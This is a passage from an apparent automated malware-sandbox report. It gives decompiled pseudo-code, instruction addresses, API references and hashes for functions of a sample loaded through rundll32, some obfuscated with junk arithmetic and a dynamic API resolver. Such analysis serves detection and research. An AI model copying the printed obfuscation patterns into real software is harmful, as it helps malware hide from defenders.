				_v12 = _v12 << 7;
				_v12 = _v12 ^ 0xe1fe8b09;
				_v12 = _v12 ^ 0xe1ac8480;
				_v20 = 0x744728;
				_v20 = _v20 << 0xf;
				_v20 = _v20 ^ 0x239bcee7;
				_v16 = 0xd5199;
				_v16 = _v16 + 0xffff5a50;
				_v16 = _v16 / _t71;
				_v16 = _v16 ^ 0x000f59f5;
				_v8 = 0xa57c1a;
				_v8 = _v8 | 0x119c25df;
				_v8 = _v8 + 0xffffdcc6;
				_t72 = 0x4f;
				_v8 = _v8 / _t72;
				_v8 = _v8 ^ 0x003b1570;
				E0081E399(_t72, _v8 % _t72, _t72, 0xa2449830, 0x167, 0xa9a77114);
				_t68 = lstrcmpiW(_a8, _t81); // executed
				return _t68;
			}

0x0081020f
0x00810212
0x00810214
0x00810217
0x0081021a
0x0081021d
0x0081021f
0x00810224
0x00810232
0x00810235
0x00810238
0x00810239
0x0081023a
0x00810246
0x00810247
0x0081024c
0x00810250
0x00810257
0x0081025e
0x00810265
0x00810269
0x00810270
0x00810277
0x00810285
0x0081028a
0x00810291
0x00810298
0x0081029f
0x008102a9
0x008102af
0x008102b2
0x008102d5
0x008102e1
0x008102e8

APIs

lstrcmpiW.KERNEL32(000F59F5,00000000,?,?,?,?,?,?,?,9B842ACC,01B64447,00000000), ref: 008102E1

Strings

(Gt, xrefs: 0081025E

Memory Dump Source

Source File: 00000002.00000002.1028366032.0000000000800000.00000040.00000010.sdmp, Offset: 00800000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_800000_rundll32.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: (Gt
API String ID: 1586166983-558867117
Opcode ID: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction ID: 208d66576745bdbe7d139b8721d4e1bfba13f26138598d302e1c32767019ecaa
Opcode Fuzzy Hash: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction Fuzzy Hash: 3A2166B5E00208FBEF04DFA8CC0A9DEBBB2FB44314F108199E525AA250D7B65A50DF91

Uniqueness

Uniqueness Score: -1.00%

Function 00812D06, Relevance: 1.6, APIs: 1, Instructions: 74
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00812D06(long __ecx, void* __edx, intOrPtr _a4, WCHAR* _a8, long _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a36, long _a40, long _a44) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				struct _SECURITY_ATTRIBUTES* _v28;
				intOrPtr _v32;
				void* _t53;
				void* _t66;
				signed int _t68;
				signed int _t69;
				long _t76;

				_push(_a44);
				_t76 = __ecx;
				_push(_a40);
				_push(_a36);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(0);
				_push(_a8);
				_push(_a4);
				_push(__ecx);
				E00808002(_t53);
				_v32 = 0xa61226;
				_v28 = 0;
				_v24 = 0;
				_v12 = 0x8b5566;
				_t68 = 0x4f;
				_v12 = _v12 * 0x16;
				_v12 = _v12 * 0x58;
				_v12 = _v12 ^ 0x1db24b6c;
				_v20 = 0xae8f68;
				_t69 = 0x28;
				_v20 = _v20 / _t68;
				_v20 = _v20 ^ 0x00028d2f;
				_v16 = 0xdc96c3;
				_v16 = _v16 >> 3;
				_v16 = _v16 ^ 0x001086c5;
				_v8 = 0xcc437a;
				_v8 = _v8 << 5;
				_v8 = _v8 / _t69;
				_v8 = _v8 ^ 0x00a46bd6;
				E0081E399(_t69, _v8 % _t69, _t69, 0xa2449830, 0x1b2, 0xa236d704);
				_t66 = CreateFileW(_a8, _t76, _a44, 0, _a16, _a40, 0); // executed
				return _t66;
			}

0x00812d0e
0x00812d13
0x00812d15
0x00812d18
0x00812d1b
0x00812d1c
0x00812d1f
0x00812d22
0x00812d25
0x00812d28
0x00812d29
0x00812d2c
0x00812d30
0x00812d31
0x00812d36
0x00812d3f
0x00812d42
0x00812d45
0x00812d52
0x00812d55
0x00812d5c
0x00812d5f
0x00812d66
0x00812d72
0x00812d73
0x00812d78
0x00812d82
0x00812d89
0x00812d8d
0x00812d94
0x00812d9b
0x00812da9
0x00812dac
0x00812dca
0x00812de1
0x00812de8

APIs

CreateFileW.KERNEL32(001086C5,?,?,00000000,0007BFC3,?,00000000), ref: 00812DE1

Memory Dump Source

Source File: 00000002.00000002.1028366032.0000000000800000.00000040.00000010.sdmp, Offset: 00800000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_800000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 37d28f26a62827ccb09b71f088429a632209e16a918a5702217c5103877af2d7
Instruction ID: 462ec6faaecfc5092e8a6e455441f386f68e6154fbcc86c8f754c86e5d42792c
Opcode Fuzzy Hash: 37d28f26a62827ccb09b71f088429a632209e16a918a5702217c5103877af2d7
Instruction Fuzzy Hash: 8721037290020DBBCF05DF99CD4A8DEBFB6FF88304F108049F914AA260D7B59A54DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00823231, Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00823231(intOrPtr _a4, int _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t51;
				void* _t65;
				signed int _t66;
				signed int _t67;
				signed int _t68;

				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(0);
				_push(0);
				E00808002(_t51);
				_v20 = 0x8ddd0f;
				_v20 = _v20 ^ 0xe03e86bb;
				_v20 = _v20 + 0xffff1f0e;
				_v20 = _v20 ^ 0xe0b01721;
				_v16 = 0x43c95a;
				_t66 = 3;
				_v16 = _v16 * 0x6c;
				_t67 = 0x1d;
				_v16 = _v16 / _t66;
				_v16 = _v16 ^ 0x0989b3a6;
				_v12 = 0xb34ce2;
				_v12 = _v12 ^ 0x4f195b2f;
				_v12 = _v12 / _t67;
				_v12 = _v12 ^ 0x02b53c02;
				_v8 = 0x60e613;
				_v8 = _v8 + 0xffff76e9;
				_v8 = _v8 + 0xffff1349;
				_t68 = 0x34;
				_v8 = _v8 / _t68;
				_v8 = _v8 ^ 0x000b7b8d;
				E0081E399(_t68, _v8 % _t68, _t68, 0x1f1ae65e, 0x189, 0x1de1df5f);
				_t65 = OpenSCManagerW(0, 0, _a8); // executed
				return _t65;
			}

0x00823238
0x0082323d
0x00823240
0x00823243
0x00823244
0x00823245
0x0082324a
0x00823253
0x0082325a
0x00823261
0x00823268
0x00823275
0x00823278
0x00823280
0x00823281
0x00823286
0x0082328d
0x00823294
0x008232a2
0x008232a7
0x008232ae
0x008232b5
0x008232bc
0x008232c6
0x008232cc
0x008232cf
0x008232f2
0x008232ff
0x00823305

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,0989B3A6,?,?,?,?,?,?,?,9C77B295,?), ref: 008232FF

Memory Dump Source

Source File: 00000002.00000002.1028366032.0000000000800000.00000040.00000010.sdmp, Offset: 00800000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_800000_rundll32.jbxd

Yara matches

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: a68b103b72432212da7b1a25f69248b8733d1da947c96e5792bd945326fca532
Instruction ID: 5346b9070a4b5019a5f5b88a7dab9e228d5987a9dc15d3e832b6b107a6bfaf6b
Opcode Fuzzy Hash: a68b103b72432212da7b1a25f69248b8733d1da947c96e5792bd945326fca532
Instruction Fuzzy Hash: 3B213476E01218FBCB04DFA9C84A9DEBFB6FF44310F10C18AE925AA250D7B55B119F80

Uniqueness

Uniqueness Score: -1.00%

Function 00819038, Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00819038(void* __ecx, void* __edx, void* _a4, intOrPtr _a8) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				void* _t53;
				int _t66;
				signed int _t68;
				signed int _t69;
				signed int _t70;

				_push(_a8);
				_push(_a4);
				E00808002(_t53);
				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v32 = 0xed3f98;
				_v16 = 0x2a9dca;
				_t68 = 0x79;
				_v16 = _v16 / _t68;
				_v16 = _v16 << 2;
				_v16 = _v16 ^ 0x000f760a;
				_v20 = 0x68a68c;
				_t69 = 0x7f;
				_v20 = _v20 / _t69;
				_v20 = _v20 ^ 0x0005afe9;
				_v8 = 0x320c70;
				_t70 = 0x39;
				_v8 = _v8 / _t70;
				_v8 = _v8 | 0xebb37c35;
				_v8 = _v8 ^ 0x7178f36a;
				_v8 = _v8 ^ 0x9ac8a43f;
				_v12 = 0x21358c;
				_v12 = _v12 << 0xe;
				_v12 = _v12 >> 0xd;
				_v12 = _v12 ^ 0x00063172;
				E0081E399(_t70, _v8 % _t70, _t70, 0xa2449830, 0x35, 0x3485d61b);
				_t66 = FindCloseChangeNotification(_a4); // executed
				return _t66;
			}

0x0081903e
0x00819041
0x00819046
0x0081904b
0x00819051
0x00819055
0x0081905c
0x00819068
0x0081906d
0x00819072
0x00819076
0x0081907d
0x00819087
0x0081908c
0x00819091
0x00819098
0x008190a2
0x008190a8
0x008190ab
0x008190b2
0x008190b9
0x008190c0
0x008190c7
0x008190cb
0x008190cf
0x008190ef
0x008190fa
0x008190ff

APIs

FindCloseChangeNotification.KERNEL32(00063172,?,?,?,?,?,?,?,008209EF), ref: 008190FA

Memory Dump Source

Source File: 00000002.00000002.1028366032.0000000000800000.00000040.00000010.sdmp, Offset: 00800000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_800000_rundll32.jbxd

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 9411e8551fc63ef0553251f4ae46958ba514df95cf067e6227528f3c3549ca8c
Instruction ID: 4517f1481ed6ed1d3227416f57aed5a2030d595eda26db69b5b3f2327e36feb8
Opcode Fuzzy Hash: 9411e8551fc63ef0553251f4ae46958ba514df95cf067e6227528f3c3549ca8c
Instruction Fuzzy Hash: EC2113B1E00208EBDB04DFE5C84A99EBBB2EB51304F10C099E514AA250D7B95B559F81

Uniqueness

Uniqueness Score: -1.00%

Function 0080F3F7, Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0080F3F7() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _t47;

				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v36 = 0xb0bfd;
				_v32 = 0x231de0;
				_v20 = 0x822c7a;
				_t47 = 0x31;
				_push(_t47);
				_v20 = _v20 * 0x25;
				_v20 = _v20 ^ 0x12d3a120;
				_v12 = 0x122796;
				_v12 = _v12 | 0x5fffe7f7;
				_v12 = _v12 ^ 0x5ff36a5b;
				_v8 = 0xc53dc4;
				_v8 = _v8 + 0xffff669e;
				_v8 = _v8 + 0xba03;
				_v8 = _v8 + 0x1f9e;
				_v8 = _v8 ^ 0x00c2122b;
				_v16 = 0x5857ad;
				_v16 = _v16 / _t47;
				_v16 = _v16 ^ 0x000b8ebe;
				E0081E399(_t47, _v16 % _t47, _t47, 0xa2449830, 0x41, 0x9da8748a);
				ExitProcess(0);
			}

0x0080f3fd
0x0080f403
0x0080f407
0x0080f40e
0x0080f415
0x0080f422
0x0080f423
0x0080f429
0x0080f42c
0x0080f433
0x0080f43a
0x0080f441
0x0080f448
0x0080f44f
0x0080f456
0x0080f45d
0x0080f464
0x0080f46b
0x0080f479
0x0080f47c
0x0080f495
0x0080f49f

APIs

ExitProcess.KERNEL32(00000000), ref: 0080F49F

Memory Dump Source

Source File: 00000002.00000002.1028366032.0000000000800000.00000040.00000010.sdmp, Offset: 00800000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_800000_rundll32.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction ID: 49bf7480506ec2860b1db02381b5a9dfefe9c08bf75632bc6e7543d54e4cbf98
Opcode Fuzzy Hash: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction Fuzzy Hash: 6C1106B1E1021DEBDF04DFE4C94A6EEBBB4FB14315F108188E921AA240E7B45B548F80

Uniqueness

Uniqueness Score: -1.00%

Function 6E572C26, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,6E57283F,00000001,00000364,?,FFFFFFFF,000000FF,?,?,6E56CB0C,?,?,6E56C074), ref: 6E572C67

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 220c93147d4a5e17b9cb4710fd3e599f0a9b98f03c9f081df33a909f426cc93e
Instruction ID: 87259b82a48f4964c830937375c99d16045944b5a0c358edc5553797cecd457a
Opcode Fuzzy Hash: 220c93147d4a5e17b9cb4710fd3e599f0a9b98f03c9f081df33a909f426cc93e
Instruction Fuzzy Hash: 38F0E075104525BEEF715EF7891479B37DD9F51760B118512FE1497184DF30D83181E1

Uniqueness

Uniqueness Score: -1.00%

Function 6E5722E9, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,6E56CB0C,?,?,6E56C074,00000400,FFFDC801,?,?,00000001), ref: 6E57231B

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1035117641.000000006E5AD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1035183359.000000006E5AF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.1035206905.000000006E5B0000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6e550000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ae3a91c90ea733b23a9d57699b83902915f373d22a2e12d3bbb92a67c9065cad
Instruction ID: c46fa310eaeec24a19ca036d5ee6c6467ec5ab1044406edfee7e5515b315ef99
Opcode Fuzzy Hash: ae3a91c90ea733b23a9d57699b83902915f373d22a2e12d3bbb92a67c9065cad
Instruction Fuzzy Hash: 98E06DB9155626ABEE721AEA8C10FAB76CDAF826A2F010521EE54971C0DF20C86085E1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6E55D380, Relevance: 26.7, APIs: 14, Strings: 1, Instructions: 445
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E6E55D380(signed int __ebx, long* __ecx, signed int __edi, long __esi, char _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed int _v36;
				long _v40;
				void* _v44;
				void* _v48;
				long _v52;
				signed int _v56;
				void* _v60;
				signed int _v64;
				signed int _v68;
				void* _v72;
				long* _v76;
				signed int _v80;
				signed int _v1096;
				long _v1100;
				void* _v1104;
				void* __ebp;
				void* _t142;
				void* _t143;
				void* _t148;
				signed int _t149;
				intOrPtr _t151;
				void* _t155;
				void* _t157;
				signed int _t158;
				signed int _t160;
				void** _t161;
				void* _t167;
				long _t171;
				signed int _t172;
				long _t173;
				void* _t179;
				void* _t181;
				long _t194;
				signed int _t195;
				signed char _t196;
				signed int _t199;
				signed int _t200;
				signed int _t211;
				signed int _t213;
				signed int _t214;
				void* _t218;
				intOrPtr _t220;
				signed int _t223;
				intOrPtr* _t224;
				intOrPtr _t226;
				signed int _t228;
				char* _t229;
				signed int _t230;
				signed int _t232;
				signed int _t238;
				signed int _t241;
				signed int _t242;
				WCHAR* _t247;
				long _t248;
				signed int _t249;
				signed int _t252;
				char* _t264;
				void* _t265;
				void* _t267;
				void* _t268;
				signed char* _t273;
				signed int _t274;
				void* _t280;
				intOrPtr _t281;

				_t262 = __esi;
				_t245 = __edi;
				_t192 = __ebx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t281 = _t280 - 0x440;
				_v32 = _t281;
				_v20 = 0xffffffff;
				_v24 = E6E5639D0;
				_v76 = __ecx;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t142 =  *0x6e5ae128; // 0x2cb0000
				if(_t142 != 0) {
					L3:
					_t143 = HeapAlloc(_t142, 0, 0xa);
					if(_t143 == 0) {
						goto L94;
					} else {
						_t264 = "UST_BACKTRACE";
						_t241 = 1;
						_t211 = 0;
						 *_t143 = 0x52;
						_v1104 = _t143;
						_v1100 = 5;
						_v1096 = 1;
						_v44 = 0;
						while(1) {
							_v36 = _t211;
							if(_t211 == 0) {
								goto L10;
							}
							_v44 = 0;
							_t211 = 0;
							if(_t241 != _v1100) {
								L6:
								_t245 = _v36;
								 *((short*)(_t143 + _t241 * 2)) = _v36;
								_t241 = _t241 + 1;
								_v1096 = _t241;
								continue;
							} else {
								L13:
								_v40 = _t264;
								_v20 = 0;
								_v48 = _t241;
								_t188 =  <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11;
								_t189 = ( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2;
								asm("sbb eax, 0x0");
								_t190 = (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2;
								E6E579A30( &_v1104, _t241, (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2);
								_t281 = _t281 + 4;
								_t143 = _v1104;
								_t241 = _v48;
								_t264 = _v40;
								_t211 = _v44;
								goto L6;
							}
							L10:
							__eflags = _t264 - 0x6e59face;
							if(_t264 != 0x6e59face) {
								_t196 =  *_t264 & 0x000000ff;
								_t229 =  &(_t264[1]);
								_t249 = _t196 & 0x000000ff;
								__eflags = _t196;
								if(_t196 < 0) {
									_v36 = _t249 & 0x0000001f;
									__eflags = _t229 - 0x6e59face;
									if(_t229 == 0x6e59face) {
										_t230 = 0;
										__eflags = _t196 - 0xdf;
										_t252 = 0;
										_v40 = 0x6e59face;
										if(_t196 > 0xdf) {
											goto L25;
										} else {
											_v36 = _v36 << 6;
											_t264 = 0x6e59face;
											_t211 = 0;
											__eflags = _t241 - _v1100;
											if(_t241 != _v1100) {
												goto L6;
											} else {
												goto L13;
											}
										}
									} else {
										_t238 = _t264[1] & 0x000000ff;
										_t264 =  &(_t264[2]);
										_t230 = _t238 & 0x0000003f;
										__eflags = _t196 - 0xdf;
										if(_t196 <= 0xdf) {
											_t199 = _v36 << 0x00000006 | _t230;
											__eflags = _t199 - 0xffff;
											if(_t199 > 0xffff) {
												goto L32;
											} else {
												goto L22;
											}
										} else {
											__eflags = _t264 - 0x6e59face;
											if(_t264 == 0x6e59face) {
												_t252 = 0;
												__eflags = 0;
												_v40 = 0x6e59face;
											} else {
												_v40 =  &(_t264[1]);
												_t252 =  *_t264 & 0x3f;
											}
											L25:
											_t232 = _t230 << 0x00000006 | _t252;
											__eflags = _t196 - 0xf0;
											if(_t196 < 0xf0) {
												_t199 = _v36 << 0x0000000c | _t232;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 > 0xffff) {
													goto L32;
												} else {
													goto L22;
												}
											} else {
												_t273 = _v40;
												__eflags = _t273 - 0x6e59face;
												if(_t273 == 0x6e59face) {
													_t274 = 0;
													__eflags = 0;
													_v40 = 0x6e59face;
												} else {
													_v40 =  &(_t273[1]);
													_t274 =  *_t273 & 0x3f;
												}
												_t199 = _t232 << 0x00000006 | (_v36 & 0x00000007) << 0x00000012 | _t274;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 <= 0xffff) {
													L22:
													_v36 = _t199;
													_t211 = 0;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												} else {
													L32:
													_t200 = _t199 + 0xffff0000;
													_v40 = _t264;
													_v36 = _t200 >> 0x0000000a | 0x0000d800;
													_t264 = _v40;
													_t211 = _t200 & 0x000003ff | 0x0000dc00;
													_v44 = _t211;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												}
											}
										}
									}
								} else {
									_t264 = _t229;
									_v36 = _t249;
									_t211 = 0;
									__eflags = _t241 - _v1100;
									if(_t241 != _v1100) {
										goto L6;
									} else {
										goto L13;
									}
								}
								goto L96;
							}
							_t242 = _v1096;
							asm("movsd xmm0, [ebp-0x44c]");
							_v64 = _t242;
							asm("movsd [ebp-0x44], xmm0");
							__eflags = _t242 - 8;
							_t213 = _t242;
							_t148 = _v72;
							_t265 = _t148;
							if(_t242 < 8) {
								L45:
								_t214 = _t213 + _t213;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									__eflags = _t214;
									if(_t214 == 0) {
										break;
									}
									_t214 = _t214 + 0xfffffffe;
									__eflags =  *_t265;
									_t265 = _t265 + 2;
									if(__eflags != 0) {
										continue;
									} else {
										goto L48;
									}
									goto L96;
								}
								__eflags = _t242 - _v68;
								if(_t242 == _v68) {
									_v20 = 1;
									E6E579A30( &_v72, _t242, 1);
									_t281 = _t281 + 4;
									_t148 = _v72;
									_t242 = _v64;
								}
								 *((short*)(_t148 + _t242 * 2)) = 0;
								asm("movsd xmm0, [ebp-0x44]");
								asm("movsd [ebp-0x38], xmm0");
								_t149 = _v60;
								__eflags = _t149;
								_v36 = _t149;
								if(_t149 == 0) {
									goto L75;
								} else {
									_v80 = _v56;
									E6E56E9D0(_t245,  &_v1104, 0, 0x400);
									_t281 = _t281 + 0xc;
									_t155 =  *0x6e59f8cc; // 0x2
									_t194 = 0x200;
									_t262 = 0;
									_v60 = _t155;
									_v56 = 0;
									_v48 = _t155;
									_v52 = 0;
									__eflags = 0x200 - 0x201;
									if(0x200 >= 0x201) {
										L65:
										_t157 = _t194 - _t262;
										__eflags = _v56 - _t262 - _t157;
										if(_v56 - _t262 < _t157) {
											_v44 = _t194;
											_v20 = 5;
											E6E579A30( &_v60, _t262, _t157);
											_t281 = _t281 + 4;
											_t194 = _v44;
											_v48 = _v60;
										}
										_t247 = _v48;
										_t262 = _t194;
										_v52 = _t194;
										_v40 = _t194;
									} else {
										L68:
										_t247 =  &_v1104;
										_v40 = 0x200;
									}
									L69:
									_v44 = _t247;
									SetLastError(0);
									_t158 = GetEnvironmentVariableW(_v36, _t247, _t194);
									_t245 = _t158;
									__eflags = _t158;
									if(_t158 != 0) {
										L71:
										__eflags = _t245 - _t194;
										if(_t245 != _t194) {
											L63:
											__eflags = _t245 - _t194;
											_t192 = _t245;
											if(_t245 < _t194) {
												_t239 = _v40;
												_v20 = 5;
												__eflags = _t245 - _v40;
												if(__eflags > 0) {
													goto L95;
												} else {
													_push(_t245);
													E6E560D10(_t192,  &_v72, _v44, _t245, _t262);
													_t281 = _t281 + 4;
													_t218 = _v72;
													_t248 = _v68;
													_t262 = _v64;
													_t195 = 0;
													_t160 = _v56;
													__eflags = _t160;
													if(_t160 != 0) {
														goto L81;
													} else {
													}
													goto L84;
												}
											} else {
												__eflags = _t192 - 0x201;
												if(_t192 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										} else {
											_t171 = GetLastError();
											__eflags = _t171 - 0x7a;
											if(_t171 != 0x7a) {
												goto L63;
											} else {
												_t194 = _t194 + _t194;
												__eflags = _t194 - 0x201;
												if(_t194 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										}
									} else {
										_t172 = GetLastError();
										__eflags = _t172;
										if(_t172 != 0) {
											_t195 = 1;
											_t173 = GetLastError();
											_t218 = 0;
											_t248 = _t173;
											_t160 = _v56;
											__eflags = _t160;
											if(_t160 != 0) {
												L81:
												__eflags = _v48;
												if(_v48 != 0) {
													__eflags = _t160 & 0x7fffffff;
													if((_t160 & 0x7fffffff) != 0) {
														_v44 = _t218;
														HeapFree( *0x6e5ae128, 0, _v48);
														_t218 = _v44;
													}
												}
											}
											L84:
											__eflags = _t195;
											if(_t195 == 0) {
												_t161 = _v76;
												 *_t161 = _t218;
												_t161[1] = _t248;
												_t161[2] = _t262;
											} else {
												__eflags = _t218 - 3;
												 *_v76 = 0;
												if(_t218 == 3) {
													_v20 = 4;
													_v44 = _t248;
													 *((intOrPtr*)( *((intOrPtr*)(_t248 + 4))))( *_t248);
													_t281 = _t281 + 4;
													_t267 = _v44;
													_t220 =  *((intOrPtr*)(_t267 + 4));
													__eflags =  *(_t220 + 4);
													if( *(_t220 + 4) != 0) {
														_t167 =  *_t267;
														__eflags =  *((intOrPtr*)(_t220 + 8)) - 9;
														if( *((intOrPtr*)(_t220 + 8)) >= 9) {
															_t167 =  *(_t167 - 4);
														}
														HeapFree( *0x6e5ae128, 0, _t167);
													}
													HeapFree( *0x6e5ae128, 0, _t267);
												}
											}
											__eflags = _v80 & 0x7fffffff;
											if((_v80 & 0x7fffffff) != 0) {
												HeapFree( *0x6e5ae128, 0, _v36);
											}
											goto L76;
										} else {
											goto L71;
										}
									}
								}
							} else {
								_t228 = _t242;
								_t268 = _t148;
								while(1) {
									__eflags =  *_t268;
									if( *_t268 == 0) {
										break;
									}
									__eflags =  *((short*)(_t268 + 2));
									if( *((short*)(_t268 + 2)) == 0) {
										break;
									} else {
										__eflags =  *((short*)(_t268 + 4));
										if( *((short*)(_t268 + 4)) == 0) {
											break;
										} else {
											__eflags =  *((short*)(_t268 + 6));
											if( *((short*)(_t268 + 6)) == 0) {
												break;
											} else {
												__eflags =  *((short*)(_t268 + 8));
												if( *((short*)(_t268 + 8)) == 0) {
													break;
												} else {
													__eflags =  *((short*)(_t268 + 0xa));
													if( *((short*)(_t268 + 0xa)) == 0) {
														break;
													} else {
														__eflags =  *((short*)(_t268 + 0xc));
														if( *((short*)(_t268 + 0xc)) == 0) {
															break;
														} else {
															__eflags =  *((short*)(_t268 + 0xe));
															if( *((short*)(_t268 + 0xe)) == 0) {
																break;
															} else {
																_t228 = _t228 + 0xfffffff8;
																_t268 = _t268 + 0x10;
																__eflags = _t228 - 7;
																if(_t228 > 7) {
																	continue;
																} else {
																	goto L45;
																}
															}
														}
													}
												}
											}
										}
									}
									goto L96;
								}
								L48:
								_t223 = _v68;
								_v56 = 0x6e5a06d8;
								_v60 = 0x1402;
								__eflags = _t223;
								if(_t223 != 0) {
									__eflags = _t148;
									if(_t148 != 0) {
										__eflags = _t223 & 0x7fffffff;
										if((_t223 & 0x7fffffff) != 0) {
											HeapFree( *0x6e5ae128, 0, _t148);
										}
									}
								}
								__eflags = _v60 - 3;
								if(_v60 == 3) {
									_t224 = _v56;
									_v36 = _t224;
									_t70 = _t224 + 4; // 0x2c
									_v20 = 2;
									 *((intOrPtr*)( *_t70))( *_t224);
									_t281 = _t281 + 4;
									_t179 = _v36;
									_t226 =  *((intOrPtr*)(_t179 + 4));
									__eflags =  *(_t226 + 4);
									if( *(_t226 + 4) != 0) {
										_t181 =  *_t179;
										__eflags =  *((intOrPtr*)(_t226 + 8)) - 9;
										if( *((intOrPtr*)(_t226 + 8)) >= 9) {
											_t181 =  *(_t181 - 4);
										}
										HeapFree( *0x6e5ae128, 0, _t181);
										_t179 = _v56;
									}
									HeapFree( *0x6e5ae128, 0, _t179);
								}
								L75:
								 *_v76 = 0;
								L76:
								_t151 = _v28;
								 *[fs:0x0] = _t151;
								return _t151;
							}
							goto L96;
						}
					}
				} else {
					_t142 = GetProcessHeap();
					if(_t142 == 0) {
						L94:
						_t239 = 2;
						E6E5792F0(_t192, 0xa, 2, _t245, _t262, __eflags);
						asm("ud2");
						L95:
						E6E579470(_t192, _t245, _t239, _t245, _t262, __eflags, 0x6e5a06e0);
						asm("ud2");
						__eflags =  &_a8;
						E6E5548D0( *_v44,  *((intOrPtr*)(_v44 + 4)));
						return E6E55D270(_t263);
					} else {
						 *0x6e5ae128 = _t142;
						goto L3;
					}
				}
				L96:
			}

APIs

GetProcessHeap.KERNEL32 ref: 6E55D3BC
HeapAlloc.KERNEL32(02CB0000,00000000,0000000A), ref: 6E55D3D3

Strings

RUST_BACKTRACE, xrefs: 6E55D48A, 6E55D4C0

Memory Dump Source

Source File: 00000002.00000002.1034495778.000000006E551000.00000020.00020000.sdmp, Offset: 6E550000, based on PE: true

Associated: 00000002.00000002.1034457300.000000006E550000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1034772893.000000006E57A000.00000002.00020000.sdmp Download File
